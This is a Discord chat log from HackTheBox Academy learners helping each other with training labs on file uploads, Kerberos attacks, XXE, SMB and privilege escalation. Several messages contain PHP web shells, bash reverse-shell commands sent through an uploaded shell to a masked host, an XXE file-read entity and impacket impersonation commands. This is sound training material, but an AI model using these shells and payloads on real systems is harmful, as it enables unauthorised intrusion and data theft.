#modules
1 messages · Page 369 of 1
marci out here performing psych analysis based on questions... don't even need OSINT
lmao
Habits
You went through every stage of grief in <5 seconds lol
File upload attacks, whitelist filter
So basically I need to fuzz file extension to get a shell.
The module says to use burpsuite to and see the length of each response but I don't understand one thing. There's only two lengths for this question, 226 and 227
Most are 227, so why dont extensions that gave me 226 get accepted?
I'm checking extensions manually
Bc both lengths give me "only images allowed"
we were literally just talking about changing the permissions
look at the messages above
@quasi wave
ok
were litterally saying this
I didn't see that hold on
You're looking for a slightly different message
Iirc you can order responses
I.e. large > small
Clicking the column name at the top
Lol no worries, just make sure you write down the answer for future use. This will happen every single time you try to ssh into a machine if you get a private key. Its very fundamental.
What if I told you 90% of my help the past few weeks is straight from memory
You gotta have a background in psych or something
i would get so frustated at some time lmao
A passing interest
Any experience with social engineering?
3/5 on my AP psych exam in HS and my cybersec degree had me take a psych 101 course
People are just as important a factor (even fictional people in the case of htb academy targets) as the machine themselves
Like a lazy admin reusing an rsa key for root
That one got a promotion to client
I am playing with chmod but what chmod number do I need to give it? I have tried 700, 444, and 711
644 also won't work
because that's what it was before
google the error message, youll find the answer
Of course, so if 644 is too PERMISSIVE you have to make it more restrictive.
mans should really google before asking here
As i said early X00 should work, [1,2,4]00
Also suggest removing it from your .ssh folder
Also what do you mean by it 'not working' with 700
If a key file is pw protected you'll have to input the password when using it, like a pw protected zip file
you want and should search what the numbers are meaning, the permissions. like xwr
I've provided some documentation for you @quasi wave . That should explain everything for you as far as linux file permissions and what the numbers mean.
You're are too open, you need to make them less open for other users on your system.
Again this is basics he should have learned at some point
And should have taken notes of
Anyone available for a quick nudge with the Intro to HTTP attacks TE.CL exercise? I've implemented the exploit as per the guide but I am getting Invalid HTTP Header: '0' error message, for some reason its parsing the size declaration of the empty chunk as a HTTP header
ive been at that time too tbf, when i started hacking, cant really judge him tho
I can
i think everyone has
😟
Yeah, but hes a noob lol. Back in the day we used to get told RTFM and ST*U. Its a different world
I'm still like that... skipping around, at least I know SOME fundamentals though
It'd be different if it wasn't stuff he was told to take note of 1+ year ago
crazy how you remember
Yeah I don't have that context that you do so I can definetly see your point. Annoying and frustrating.
I can't remember what I had for breakfast yesterday
lmfao
Again. If I remember, it's a problem.
Same
probably some people will never learn?
yay I'm logged in as mike via ssh
good job
There you go!
Nah, I believe Mark can learn
It's why I'm actually helping instead of just "LOL good luck"
Which i have done with people in the past
what would cause you to do this to someone?
Fixed mindset individuals
Complete obstinance, and only wanting answers not the path to the river.
Lead a horse to water and what not
Helping others here is also selfish to a degree, helps keep myself sharp by helping others
I got root password
Richard Feynman did say the best way to learn is to teach
I finished challenge
good job
did you: TAKE NOTES?
im sure he did
If he didn't he'd be back here in a year asking the same thing about ssh keys
See ya in a year!
i mean, he probably didnt know that is needed for id_rsa, but im sure he does know!
gg
I remember not knowing that though. Hes in a good stage of learning. This where you either stick it out or quit not too soon after, and if hes been in at i for a year, thats not really a bad sign.
Thats a + in my book, but I also don't know anything else then the 20 minutes I've been here. So that doesn't really mean much.
thats what im saying, i know everyone has been though some stuff like that, and not knowing exactly why it needs to happen. if you just go like okay itll be like that you just forget it, ifyk what i mean
Google goes a long way
i know, thats just a skill itself tho, researching, problemsolving. (hacking just solving problems over and over again). some ppl got to put more effort in than others
I mean I learned this concept recently, reading through 0xdf's writeups
i mean ~1.5 years back, i didnt even know how to connect to vpn, (i tried all my efforts, but couldnt manage to connect) so i couldnt start htb/thm so i grinded portswigger labs 🤣
yes
I feel like learning how to learn is a skill too right? I think that kind plays into learning "how to google". Thats fundamental
learning how to learn is a form of intelligence in of itself
lmao good skill to have
Agreed, also pretty sure academy has a learning process module for this
Learning process is hit/miss tbh a bit of pseudoscience as well in it
I just skimmed through most of it...the questioning part was interesting though
true, i usually compare hacking to math (for example), like you can learn all the theory, but if you dont know how to actually do that it’ll be complete useless. learning hacking is just by doing it
ig thats personal tho, everyone learns diff i know
In a closed system where the only issue is your own skill
and if you can't, you go here to ask marci
Don't ask me specifically
I'll respond if I know. But if it's in the reading I'll straight up tell you to just read
teach us oh great experienced one
Most of what I know is what I read and applied from the modules, a handful from other sources
I should really stop procrastinating on modules...
same, mostly i just do the sa, checking if i know the contents or not and if so ill skip the rest of it
im really lazy
I would probably read it. Its really really good info. Trust me. Theres little nuggets in there.
Yeah sometimes there's bits of info in there, like the process to identify something -- not just how to exploit
Even some administrative stuff, (how to configure) that really helps you put yourself in the mind of the Admin and what might be going on in the background that you don't necessarily see.
So when you're outside hacking your way in. You don't necessarily see everything thats going on explicitly. But you can intuitively guess whats happening by the responses you get. In other words you can see what you don't see.
It talked about that early in one of the modules.
Yup
good point, all the sections are important, but its just me being lazy not the other things are irrelevant or so
Yeah i get it, and to be honest, if the information wasn't that great, I would lose interest and wouldn't read the whole thing. Just skim it. But since its actually useful information it caught my attention and I'm reading it. I'm not a huge reader.
hi
i will say that the modules are interesting enough to keep me reading
how is it going ?
struggle
complain
the thing you struggled with/complained about us mentioned in reading
So rn i am NOT looking for a way to upload files with php code?
Bc the only thing I see for every response is "only images are allowed"
You're looking for something that is accepted
The section should tell you what list to use
I literally get "only images are allowed" for all lists. I did not get one single file accepted from
Webxtensions.txt
Extensions.lst
Bash script with all of php extensions added at line 2 aka wordlist.txt
There should be just a list provided with the php extensions
I'm doing the RBCD (Linux) section from the Kerberos Attacks module. I've correctly created a machine account, and added the correct SPN. When I try and get the ST to do the impersonate I get this error:
`Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[] Impersonating Administrator
/usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[] Requesting S4U2self
[-] Kerberos SessionError: KRB_AP_ERR_BADMATCH(Ticket and authenticator don't match)
`
Is this a timezone issue?
Yeah looks like tz issue, faketime may work, you may have to disable auto time syncing in the vm to host
Exact same error:
`faketime "$(ntpdate -q 10.129.44.160 | cut -d ' ' -f 1,2)" impacket-getST -spn CIFS/DC01.INLANEFREIGHT.LOCAL -impersonate Administrator -dc-ip 10.129.44.160 inlanefreight.local/'HACKTHEBOX:Hackthebox123+!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[] Impersonating Administrator
/usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[] Requesting S4U2self
[-] Kerberos SessionError: KRB_AP_ERR_BADMATCH(Ticket and authenticator don't match)
`
Perhaps a problem with the version on impacket?
hey folks, I'm looking for some help with Kerberos Attacks Module > Unconstrained Delegation - Users section. I've attempted to run through the lab a number of times and ways but keep running into the same problem. I even followed the solution guide but it doesn't seem to work either. The issue I'm running into is when I run the printerbug.py command I'm not getting an acceptable TGS. I've tried this with dementor.py as well but with the same result. I'm not sure why this is failing 😦
(and yes I'm using the full hash)
I also had this problem, sorry, I don't know how to fix it. I ended up going back to Windows to finish the section.
same, the kerberos module i skipped two sections that from linux
https://github.com/dirkjanm/krbrelayx/issues/10
Maybe try adding host flag?
Hello help me please ; I'am read blog; Use secretsdump,get account machine(computer.test.com) aes256 key & lm:ntlm hashes; Add dns A record for my attacker machine. For ex. attacker.test.co...
I just returned to windows section to solve them
I guess that would be a workaround. That makes sense since windows natively supports NTLM authentication
wow glad to see I'm not crazy and this is a more common problem. I'll try playing with the host flag and report back
And let me know if you have the same issue I'm having with the RBCD section on Linux too
just checked my notes; I was able to get this to work. ping me if you want to chat in more detail
oh if you're having a time sync issue (I've had that a few times on HTB machines) I always solve it with sudo ntpdate $machineIP
That didn't work.. I don't think it is a time issue, the time issue is usally CLOCK_SKEW
depends what's throwing the error tbh but yeah
Yeah for krbrelay scenario, it uses NTLMSSP as a backup for when Kerberos doesn't work. Kerberos is very time dependent so if there is a clock skew and it doesn't work it will use NTLMSSP in this case, but if its not supported or disabled, then it will just throw the Unsupported MechType error. At least thats what I gathered. @brittle arch you might be facing a separate scenario.
hmmm well now that you say that I didn't try syncing my time... let me give that a shot
I don't know what my issue was.... but.. I just reset the instance, did the exact same thing and it worked.. so fml I guess?
Idk, these are old protocols old stuff going on, a bunch of MSFT nonsense to go on top of it. Just a recipe for disaster really lol
typical Microsoft really
Imagine taking a dump 40 years ago. And let it sit there for a good 20 years of it and just adding on top of it more and more and until you get a nice heaping pile. A mix of old and new. And then make it proprietary and call it Windows
Instant trillionaire.
NTLM was recommended to be disabled like at least 10+ years ago; and well here we are
Yeah well governments wont allow that because they are still using windows xp lol
WIndows 3.1
Yeah and I bet you it does something crazy like launch missiles on an aircraft or something. Because, why not. 'Murica
hello i know this is not the right channel to ask for help but i am not able to chat on general channel like its shows you dont have permission to chat how can i get that
As with any discord server, read #welcome
||#welcome||
That lights up like my Christmas tree
ok it worked thanx a lot
thanx
Is anybody having problem with smbmap on "Attacking Common Services " module?
i never used or needed smbmap on that module
Oh, ok
Bcs it is showing smbmap command, and i wanted to try it out, but i don't get any output, all i get is that connection is established, but that's it.
i'm assuming you're using smbmap against the spawned target
maybe respawn the target
¯_(ツ)_/¯
Ofc
a fair bit of time HTB will snip output that's not relevant
I can ping it, and i can do nmap scan on it
can you do smbclient -N -L //ip
Oh, ok
I will try it now
as that's literally the command above it
Yes
then it might just be an smbmap issue ¯_(ツ)_/¯
multiple ways to perform the same hting, i wouldn't get stuck too much on it
are you using the apt binary or a cloned github version?
i'm using the one installed in parrot and it's showing the same info
try reinstalling it?
sudo apt reinstall smbmap
try sudo apt remove smbmap; reset your vm; reinstall it
Not working, will try now with github version
does it matter? there's like a billion ways to list smb shares
No, not working
I had the same issue, so i used only smbclient & crackmapexec . are you using kali linux in ur local vm ?
yes
crackmapexec's outdated, recommend netexec
netexec didnt work tho
nxc smb <target> --shares
didn't work?
most of these tools didnt work for me in kali vm
i recommend u use pwnbox @formal sphinx
that sounds more like your kali is borked
did you like... use the academy vpn?
i tried github version, downloading from apt, and everything
cos I have fucked up before using the lab vpns for academy
all versions seem to have some issues for me , 🙂
he can use the smbclient command
smbclient works tho 🙂
which reminds me: time to update everything on my VM
Problem is that i was using parrot on previous laptop, and on new one i can't use vmware properly
It runs good for about an hour and than the performance drops a lot until it freezes completely
nxc worked fine for me
if it's a linux smb issue, you CAN use windows, it has the benefit of using file explorer as well for smb shares
target is working as intended for me using pwnbox/parrot ¯_(ツ)_/¯
sounds like something potentially broke during an update or requires an update
Hey I'm trying to find the parameters for this Skills Assessment - Web Fuzzing. I got the parameter but I can't seem to find the others.
@fathom pendant You are using pwnbox as vm?
yes
are you sure there's multiple parameters to fuzz? i seem to recall only one
(and iirc it tells you)
It also says "This method is no longer used" when I curl the page
The question is: In the page from the previous question, you should be able to find multiple parameters that are accepted by the page. What are they?
So I assumed that there's more than one.
what module?
because that's not the web fuzzing module skill assessment...
https://academy.hackthebox.com/module/280/section/3140 <-- this is what i see for the "web fuzzing" module
unless you're talking about a different module
ah that module is "attacking web applications with ffuf"
Whoops
there should be two params there
if u use the right wordlist , u should be able to find it
yes there's 2 parameters, just because a method is no longer used doesn't make it invalid
it could still be usable; but updated to a different one
Will download it now and run it, hope vmware doesn't freezes as usual 🙏
you can't download pwnbox
you can download the htb-edition of parrotOS, but that's not the same as pwnbox
That's what i am downloading
if i download it, tools like impacket it will be there or should i download by myself ?
impacket should be preinstalled
as another hint; the final question refers to using the POST method to submit via curl (this is important for how you'll fuzz)
"In general, there are two types of services: internal, the relevant services that are required at system startup, which for example, perform hardware-related tasks, and services that are installed by the user, which usually include all server services."
what does "server service" mean in this context
server just refers to a computer that serves something, therefore server services refers to all system services that aren't there by default like an http server, an ssh server, etc.
so network related servers,
doesn't have to be network related, it could serve something just internally
like mpd
over localhost?
ye
And just like that. I finished it in like 2 seconds lol
Figured I'd throw that bone to you bc i was like "how did I solve this the first time" turns out:
The key info was in the question
having played multiple trading card games: no... reading it doesn't always explain the card
It's mostly a meme tbh
Yu-Gi-Oh be like that
istfg yu-gi-oh
Wall of text: the card game
sometimes a card's functionality isn't on the card but burried in a card that has been banished like 2 rounds ago
Lmao. Appreciate it! YuGiOh players defintitely dont read 😛
That's cos half the time we face meta players and know their exact combo
is Security Edition same as htb edition ? cuz when i try to download it gives me two choice home and security edition
i believe the only difference is the theme, the htb edition is just themed like the pwnbox/htb
the benz, the benz, the purple, the green the yellow the white cocaaine the white
hi tech
hi tec
hi tec
bro's drunk
tf is that supposed to mean?
it's the new hashing algorith VSHA-512-69 where V stands for very
yes
they become much more of an issue because those networks are probably connected through cables to the main gateway (border gateway) router of the company?
or because mitm work on mac addresses but not IPs?
They become more of an issue because it's much easier to attack a network from within it
and rarely are networks with active hosts directly connected to the gateway router, there's usually a chain of em
sry dumb question but confusing me, what is "host" referred to in networks? is it like a server?
anything connected to the network that isn't a network device(i.e. router/switch...etc)
aight
oh aight
so the host is a guest
user, client
yes, got it now
i keep having this issue on the "responder" module,is that normal?
responder module? do you mean box?
yeah mb
WHY CANT I TYPE IN GENERAL????
Hi everyone, I am currently doing the fourth module of CDSA, Windows Event Logs and Finding Evil . Did anyone here face any issues while solving the answers to the questions of this module?
Did you solve it?
who tf changed my name ?
its not randomized
and its chaos
don't look at me man, I don't have perms
np ofc not
WHO CHANGED MY NAME
DONT LET ME @ EVERY SINGLE MEMBER
Because your name did not abide by the rules.
what rules
Stop the caps and an at everyone won’t work
bro its chaos
The rules you’re supposed to read when joining a server
i have read them
It’s non English characters
Read Rule #10
Identify yourself with your identifier and it will open the general chat for you
And then your HTB username will be shown
Account identifier can be found here: https://app.hackthebox.com/profile/settings
No
I TOL you for god's sake i said i couldnt
And why is that?
idk say error
Try again
XD man
bro fuck you, your just bullshiting me . ban my ass idgaf
You didn't even try, did you?
fucking clown
i did
and the slow mod is just sitting on my nerves
shitty server
rename me back
calm down
Being mean to mods isn't very nice
i dont need some one to teach me
Well, it’s three simple steps to identify yourself
Only you can rename yourself with a verification.
explain my name being changed
Violation of rule 10
OMG
well im asking you do the same
just name me CHAOS
Verify yourself so you can get your name changed
i said there is an error
We can’t. Also , you asked to type in #general . you’re the only one who can identify yourself. If you get an error, tell us which one
it shows caps ERROR
You have to rename yourself. Your HTB username will be your Discord username.
Then you didn't verify yourself properly
Dm me a screenshot if you want.
Man, you mods must have some helpdesk experience dealing with karens XD
im not i just want my name bro wtf
i will report non English name as racism
No
not hard
YOU CAN
Identify yourself. If you don’t wanna identify yourself , that’s on you.
One last time. We can't rename you. You have to rename yourself. Your HTB username will then automatically become your Discord username.
Other than that, this isn’t a channel to chat. This is a channel for module help
You need to verify to talk in #general
Buddy. We told you to identify yourself. Only then you can talk in general chat
i said i tryed
And I told you to dm me the screenshot of the error
If u want to be helped, listen to the ones trying to help
just please i dont want to be mad, i get mad so much and i have a heart condition
I’ll be waiting for that screenshot.
Then let us help you. Verify your user and you will have the desired username and access to #general
Account identifier can be found here: https://app.hackthebox.com/profile/settings
XD Shut up
i made a new account
what now?
hey guys I got a question regarding LFI and File Upload module. For LFI I noticed we use <?php system($_GET['cmd']); ?> and call the cmd parameter with ?cmd=<command>. For file upload instead we use <?php system($_REQUEST['cmd']); ?> then call it with &cmd=<command> instead. The question is why ? I tried the file upload payload for LFI and it does not work. Is it something related to php ? I do not get it.
The main difference between these two is (based on the text you wrote, module has been a while for me)
$_GET will only take the parameter from the url. $_REQUEST can also be a POST.
The difference between the ? And & is that the ? is the first parameter. So your second one it will be ?someparameter=somevalue&cmd=<command>
hmmmmm, I see still strange that $_REQUEST would not work for LFI then
Which module and section are you working on? I’ll try to have a look on my phone
maybe it's finally time to go through w3schools php section, been putting it off for a while
It's specifically related to all the LFI assessments in the module. All the webshells I got working used $_GET. I could not get a single one to work with $_REQUEST. They do specifically show you to use $_REQUEST for File Upload webshells and $_GET for LFI webshells. But they never explain why
Anyone manage to get the petit potam exploit working in the Bleeding edge vulnerabilities section of Ad and enum?
I got the other two working just not petit potam
I get to the Requesting a TGT using gettgtpkinit.py step then it fails to get one from the kdc
hello, anybody did Game Reversing & Modding ?
I am stuck at Building a Runtime Hook
Hey guys i'm stuck on the Windows Event Logs & Finding Evil module, i'm trying to do a DLL hijack on the calc.exe like in the module, the problem is that i can't move the calc.exe from the system32 dir i only can place my malisios dll in the dir but i can't name it WININET.DLL bcs there is already a file named like this, can't delete it as wel i need higher rights can somebody help?
hi, has anyone made this section? save my time please what word lists do you use?
Try to copy the calc.exe from system32, not move.
just tried it it worked ^^ thanks
guys how to knowif a box is buggy ir its skill issue
When in doubt, I'd assume it's a skill issue.
for example i was doing a machine for the attacking common services and the ftp service was bugged and it just didnt show the available files on the ftp sevrer, i was banging my head against the wall and after 3 restarts it finally showed it
Did you wait a few minutes after starting each time? Some boxes take a few minutes to fully start up.
the first one yeah i made around 10 scans just in case
Scans? You said that the server did not display the files.
ftp server
i scanned the machine ftp server around 10 times and the scan never showed available files
Yes, but why scans?
You log in and the client then shows you the files on the server.
well the third scan did show the files
can i paste what i am talking about to better ilustrate my point since i dont want one of the mods to warn me for pasting module content
please send me a dm
ok
Unity Mono Win x64 6.0.0-be.672
Hi guys, happy holidays for everyone !!!
Anyone where did do or is doing the underpass machine ?
I did it
Best to ask in #1320087957612265574
?
Hello, excuse me, i am experiencing a weird issue, which is connecting to the machine's website
it would work at the beginning but then, the connection dies
like after 2 minutes or so
i think in this specific module only but i don't know
which is get started
are you using a vpn?
question. if i create an alias in my bash folder will it be able to be use in the vpn session
so many new accounts on here lately
i hope this isnt a stupid question but im new to HTB.
can someone explain what it wants me to do here?
ah you are logging in via ssh
yes. is this a task im supposed to do?
did you spawn the target (if there is one) a little bit lower on that page
oh yhh i spawned it
try to ssh into that target
whats the download file for?
thats for when you want to use your personal VM
but if you are using HTB pwnbox then you dont have to download that file
oh so i can just ignore it, spawn the pwnbox and answer the questions below here right?
yup!
ssh 10.129.127.54@htb-student
its like this right?
errrr
anyone know why on the bleeding edge vulns module when i want to execute print nightmare msf console wont bind to the ip ? [-] Handler failed to bind to 172.16.5.225:8080:- -
[*] Started reverse TCP handler on 0.0.0.0:8080
It worked now i got it in the wrong order 😆
lol you are now on your way lil hacker
ok what am i missing.
probably the unit name with the description
so do i need to pipe that into find
well. look at your command. is there a command to list ALL the units?
ah
Don't share answers
If it highlights green, the answer is correct
No
how comes i didnt recieve a cube whereas the bottom answer i did recieve a cube?
cause it said +0
ahh ok i see now
can i dm someone for help with the bleeding edge vulns module
Im stuck on this one Burp Intruder. I get 404 back for every request sent -
https://academy.hackthebox.com/module/110/section/1054
Can anyone help?
Are you fuzzing for /admin/page.html?
still no luck; any additional help would be greatly appreciated
yeah, one sec will get a screenshot
The question tells you which directory to start with
Did you also try sorting by response size?
Or status code
Ah you did something wrong
Look at your request
It's requesting /page.html
Not /admin/page.html
But shouldn't it go from Admin from the target i provided
or does that have to be in the request header too
It has to be in the header
ah 🤦♂️
Your setting should autoupdate it
thank you one again Marcilee, i will make the change and fingers crossed its one of the first results
But idk why it isn't
So this should work?
Should
try it and see what happens 😄
haha the thing is @vague dust you can sit there for hours and get the same results because its throttled to 1 request per sec
i know, i did at least half the bug bounty hunting path.
In Footprinting lab, Medium, I can't cd into the TechSupport folder, it says "Permission denied". I did use sudo when mounting the network share: sudo mount -t nfs 10.129.212.78:/ ./target-NFS/ -o nolock. It has "nobody" and "nogroup" as ownership.
Move around as root
did you do the lucky button yet?
when you do. let me know how that goes lol
the AD one is already a slog, i was hoping that would be the worst of it
thank you. i still had to use grep to find the answer though
yay you found a work around!
i am sure there was a better way then systemctl --all list-units --type=service | grep -i [apparmor]
worked thank you, that Burp update has confused things, looks simpler on the screenshots from the module material
did you try condensing it? see what works and what doesnt work?
i did not i am having a hard time understanding the man page.
I need help with the web attacks local file disclosure module. I've tried <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=connection.php"> I've also tried a few different paths but I can't seem to get the encoded file
You don't need to specify the .php
it still doesnt work
I mean are you calling &company; anywhere?
yes
i dont remember reading anything on the theory pages that i can refer to answer this question?
does this mean i should research the answer on the internet ?
iin the email field
I remember mostly just copy/pasting that module
i verified that xxe vulnerability is there
nope. you need to find the answer in your terminal.
Nope
There's a command that helps you find __env__ironment variables
im assuming theres a command that helps with this but none of the theory pages referred to find path to users mail?
have you tried checking and seeing what env does?
ahhh
My hint was more subtle
what would you have recommended fro the grep
yeah i botched that one. sorry
so just for future reference, the answers to all future questions are in the theory provided and i shouldnt ever have to look up on the internet or do further research
right?
IF you do look up on the internet dont look up the module look up the METHOD you are trying to do. example: what command do i input in powershell to ignore scripts
im still trying to attack the server in this module to let me get a cert 😿
how to practice the learned things in academy using free htb machines
like is there a site or somethng from which i can see which topics are for a machine
i found out what it was, it wasnt formatted correctly
Rado35 you can use the Academy x HTB Labs feature to find out the knowledge required from modules to solve a certain machine
The free labs don't have tags. The academy x labs feature only shows retired machines
guess i will have to buy a subscription to pracitce
or are the free ones good enough
if you have a student email they have a student subscription
for boxes too?
i know for academy
its mainly academy from what i saw but you get access to more modules than a free sub
isnt it only for academy
Which shell is specified for the htb-student user?
for this question do i write the path ?
what is the question asking you
which shell is specified ?
Academy only has a student sub
yeah
That can be found in env
your going to have to do a little digging for that one. the answer is closer than you think
i found it in env but it gave a path
Yeah and?
so i thought
Did you try or just assume
is the vip enough
you are going to find out alot of the answers are there without you realizing it.
since i wont be taking the exams for the role paths but i wanna do some labs to ssee what i have learned from academy
my only concern is that boxes are too ctf-ish and not really real world
each machine or challenge tries to teach you something
im finally done with that module 
In my experience, i did not come across a single CTF-ish machine in HTB.
thats good since in thm most i di were like that
although i didnt do a lot
Lol yeah i can agree on that, i moved from the platform mainly because of this.
I did around 140 machines on THM, most of them were CTF-ish
in "Pivoting, Tunneling, and Port Forwarding" module "SOCKS5 Tunneling with Chisel" i Building the Chisel Binary and Transferring Chisel Binary to Pivot Host, the chisel binary works in my parrot machine but it doesn't work on ubuntu pivot host. it shows the following error --> ubuntu@WEB01:~$ ./chisel --help
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./chisel)
this is the error screen shot for referance
hope all are doing fine
I just wanted some guidance regarding cybersecurity like from where should I start any insights you all wanna share
theres a htb bible lying around here somewhere...
HTB Academy obviously :p
Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible
Try Compiling the binary again with -static flag
just now noticed, thank you
yes, i am
Can anyone help with the bleeding edge vulns module in AD attacks and enum
ok once again i am missing something
well it says newline....what would cause it to read as newline?
i am not sure what that even means
maybe google the error message?
Why are you doing <thing>
< and > are special characters in bash
i am trying to combine what ive learned to help in other modules. is that not the correct syntax
i think she is hinting at what to type in google
Sometimes (most times) syntax that's shown with any kind of brackets, you drop the brackets
i think i forgot to escape is that correct
ok how do i drop the brackets
🫢
please do i might stick better
Use your brain to think of what "dropping" can mean
ok i removed the brackets with zero results
did you get a new error
i did not
so what does that tell you?
why?
because there is no target in the vpn section
is there a target at the end of the page?
Ah you figured out the secret
I was waiting for you to realize
lol
still no results and no errors
🤦♂️
heres a hint. are there questions you have to answer at the end of that section?
Perhaps there's a simpler way to check dconf.service
even using find i get permission denied
what section and module is this? i wanna see
task scheduling linux fundamentals @vague dust
can someone help me with the web attacks blind data exfiltration module? I set up the listener and I don't get a connection when I send the request to /blind/submitDetails.php
Can someone direct me in right direction in Injection Attacks Modules. I'm unable to connect thedots
LDAP- Data exfiktratiom and Blind exploitation. I followed as module says but I couldn't get any ||char|| other than ||*||
@fathom pendant @vague dust
Are you trying to read out the right data?
According to my understanding I'm supposed to get use description attributes to get all the chars
@vague dust @fathom pendant
Tip; you throw the 2> /dev/null on the find command
I used burp intruder to get the chars but I'm missing something because I get some different response but size is 0. Like I couldn't figure out the logic for it
Might just be borked #1234357888114364508
First find a payload that works. Only then can you try to read out the characters.
i am gonna have to agree with you i guess ill use google to find the anser
Make a post in #1234357888114364508
i had to bust out my VIM cheatsheat lol
whats the best way to remember all this stuff we learn
Imagine needing a cheatsheet for vim
Notes and practice
nano ftw
Okay thanks I'm going try it again
Also take a look at the cheatsheet in the module
done
ok so for the medium lab for Password Attacks module I did an nmap scan and found SMB was a way in. I used crackmapexec to get the username and password for SMB. I am trying to log in with that user via smbclient but its giving me an error. I looked up the error but I am not understanding people's solution on how to solve it. Here is my command:
┌─[us-academy-1]─[10.10.15.85]─[htb-ac-605555@htb-kvcwjpxhxm]─[~]
└──╼ [★]$ smbclient -L 10.129.192.129 -U john
Password for [WORKGROUP\john]:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
SHAREDRIVE Disk SHARE-DRIVE
IPC$ IPC IPC Service (skills-medium server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
I am thinking do I need to specify the IPC share?
is that my issue?
Why do you need the ipc$ share?
I need to log in as john
Hack the box CTFs and academy, bug bounties, THM etc
but why won't it let me log in?
do they have ctf for web penetration
With smb you need to specify the share you're connecting to
You can't just connect to the root
does anyone in here finished winows lateral movment (Winrm)
Sometimes
Connect to DC01 as Leonvqz and read the flag located at C:\Users\Leonvqz\Desktop\flag.txt
i think i found it.
Hi guys, is it normal that its seems impossible to get a revshell on File Upload path? I get code execution but never a revshell.
File is:
<?php system($_REQUEST['cmd']); ?>
shots taken are:
94.237.54.116:33750/uploads/reverse.php?cmd=bash -i >& /dev/tcp/xx.xx.xx.xx/9001 0>&1
94.237.54.116:33750/uploads/reverse.php?cmd=bash -c 'bash -i >& /dev/tcp/xx.xx.xx.xx/9001 0>&1'
Its driving me crazy, no much space for mistakes lol, 1 command
It's normal
A call like:
94.237.54.116:33750/uploads/reverse.php?cmd=whoami
Works perfectly fine
Why is that?
You're attacking a public ip. Not private
oh lord that is true
As far as I know, Docker containers (Target machines) have no way of contacting anything outside their network
You'd have to do some port forwarding shenanigans to get a revshell, which isn't recommended
it's also why it directly gives you a port 😉
100%, I was hitting my head against a wall without even looking at it
ok for the medium box I cracked the file and logged in as jason
so from here do I need to do credential hunting?
in order to find root password?
root is the end goal; there may be many steps in between
do take a note of what led you to j*
the documentation mentions something which may be helpful :)
ok
@quasi wave Just so you know, in case you have heard the term but don't know what it means. The processes of going from the user you are ( a lower privilege user) to root (a SYSTEM/kernel level user) is known as "Privilege escalation"
guys
The cyber mentor has a very good linux and windows privilege escalation course free on youtube for beginners. It covers most of the basics
I read rules
Read welcome as well.
I knew what it was just not how to do it
you don't have to do anything fancy to go up
just follow the path in front of you
I found in the document there is mention of database files so I used the BASH for-loop to list DB files but I don't have permission to read any of them
so can't cat any of them out
I wonder what DATABASE service can be used
🤔 maybe some sort of __s__tructured__q__uery__l__anguage server 🤔
ok
gotta abstract some thought sometimes
think of the question for root as Z; so you're not gonna always go directly from a -> z; sometimes you need to go through the alphabet to get to z
again don't assume that the question is telling you the first step
the question is just a goal
ok I'm logged into sql database
stuff you learned from common services should come in handy; from what i recall that comes before pw attacks
so previous module?
but isn't network services section in the pw attacks module?
or do I look back at footprinting module?
well take a look at it this way
what are you currently interacting with
and what do you think would be most useful
by what you learned i meant moreso the enumeration portion
ok
@urban sage sorry for mentioning you! ban mckinnon
he is a scammer that offers hacking services
DM a mod
reach out to mods/admins in dm
if it's related to discord moderation, their dms are open
(alongside providing screenshots)
also be mindful that most mods, i think, are human -- so holiday stuff
Dm me a screenshot. 
Hey is any link how to hack social media
@fathom pendant he sent me a dm asking for help as well
i will!
there's no 2nd host
rsa keys can be password protected
is that to log into yet a different server?
nope
is it for the mysql server?
the one question you should ask; "Why is it password protected"
the mysql server is the target server
so no
and abstract from "why would an ssh rsa key be password protected"
and the realization should hit you of what to try
there's a logical leap
ok
like when you go to unzip a protected archive
this is for an archive ya
ok
guys... i am facing weird problem. i would spawn a machine, then sometimes the connection dies and i have to respawn the machine and sometimes that doesn't even work as well
your questions about what to do are revealing spoilers about the skill assessment
Need some help? Learn how to reach the support team on Academy.
ok sorry
can someone DM me?
or can I DM someone? I don't want to spoil anything but I just want to make sure I can solve this
i'm telling you this: you're on the last step, you just need to make a leap of logic
Hey all
i am at
Linux Privilege Escalation
Miscellaneous Techniques
Review the NFS server's export list and find a directory holding a flag.
i made shell and compiled it and when i try to run it on the machine it does not do anything i dont get to the root privilege to continue
can someone give a little hint?
ok
hi, is anyone able to help with python library hijacking in linux priv esc? feel free to DM
you won't be able to do everything mentioned
im sorry marcielee were you talking to me or que?
the don't need to do that was to you
Ok in that case I’ve written down everything so will try again in a few hours
Just to give my brain a rest
I’ll try again myself soon
aah ty, i did figure it out thank you
Hello, guys, I almost completed my CBBH modules but still stuck on the SERVER SIDE ATTACK Module specifically in INTERNAL PORT SCANNING BLIND SSRF can anyone help me?
$sudo apt install freerdp
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Package freerdp is a virtual package provided by:
freerdp3-x11 3.5.1+dfsg1-5~bpo12+1
